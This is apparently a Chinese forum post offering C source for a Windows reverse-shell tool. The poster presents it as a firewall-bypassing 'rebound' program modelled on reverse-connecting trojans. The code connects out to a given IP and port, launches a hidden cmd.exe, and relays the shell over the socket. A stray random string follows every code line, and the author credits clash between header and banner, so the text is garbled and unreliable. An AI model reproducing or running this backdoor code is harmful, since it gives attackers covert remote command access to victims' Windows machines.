这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G'rxXJq
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/* ============================== NS9B[*"Jl
Rebound port in Windows NT S\''e`Eb"5
By wind,2006/7 8MK>)P o)
===============================*/ l\BVS)
#include p`mS[bxv!
#include ~3UQ|j
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#pragma comment(lib,"wsock32.lib") aiQ>xen5C5
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void OutputShell(); !zuxz
SOCKET sClient; K)-U1JE7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ln$&``L
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void main(int argc,char **argv) M8INk,si
{ \[BK1JP
WSADATA stWsaData; w<C#Bka
int nRet; ~u)}ScTp
SOCKADDR_IN stSaiClient,stSaiServer; 7q?9Tj3
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if(argc != 3) $i&e[O7T;
{ L=c!:p|7)
printf("Useage:\n\rRebound DestIP DestPort\n"); 4A@NxihH
return; 3j,Q`+l/6d
} A54N\x,
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WSAStartup(MAKEWORD(2,2),&stWsaData); V7GRA#|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rE iKi
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stSaiClient.sin_family = AF_INET; n/DP>U$I&
stSaiClient.sin_port = htons(0); N<f"]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @WJgWJm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4S,`bnmB
{ ^cV;~&|.Xk
printf("Bind Socket Failed!\n"); $>*3/H
return; _Bj)r}~7#
} `o<'
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stSaiServer.sin_family = AF_INET; EzDk}uKY0R
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r9X?PA0f
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ae
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ks=>K(V6
{ 0*%Z's\M"
printf("Connect Error!"); iDMJicW!+F
return; OH;b"]
}
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OutputShell(); ~}F{vm
} =Qh\D
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void OutputShell() W4hbK9y
{ zfI>qJ+Nqt
char szBuff[1024]; 8'~[pMn`
SECURITY_ATTRIBUTES stSecurityAttributes; UjaK&K+M?
OSVERSIONINFO stOsversionInfo; Dpvk\t
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #6ri-n
STARTUPINFO stStartupInfo; Uh7v@YMC
char *szShell; =.y~f A!
PROCESS_INFORMATION stProcessInformation; D<|qaHB=
unsigned long lBytesRead; e"/;7:J5\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eK.e|z|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >"gf3rioW
stSecurityAttributes.lpSecurityDescriptor = 0; Is]aj-#r
stSecurityAttributes.bInheritHandle = TRUE; ]GN7+8l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~(x;5{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T;@;R%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WtViW=j'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RMd[Yr2e
stStartupInfo.wShowWindow = SW_HIDE; ?dD&p8{
stStartupInfo.hStdInput = hReadPipe; +u!0rLb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XS`M-{f`
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GetVersionEx(&stOsversionInfo); ,z3{u162
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switch(stOsversionInfo.dwPlatformId) 20vXSYa~
{ g) p,5BADm
case 1: SxdE?uCUS
szShell = "command.com"; (ohq0Y
break; lrnyk(M}Q.
default: wB.Nn/p
szShell = "cmd.exe"; Qi_>Mg`x
break; b`)){LR
} (rkyW z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RRmLd/(
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send(sClient,szMsg,77,0); ZN!4;
while(1) _u{c4U0,
{ !O-C,uSm
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j{Hao\F8
if(lBytesRead) oo.! .Kv
{ _cy2z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,Vh.T&X5
send(sClient,szBuff,lBytesRead,0); bA\<.d
} YGv<VOWG2
else &07]LF$]
{ ^&bRX4pYo
lBytesRead=recv(sClient,szBuff,1024,0); 6fd+Q
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if(lBytesRead<=0) break; xZ|Y?R5m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GytXFL3`:
} s:p[DEj-
} /rq VB|M
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return; m>4ahue$
}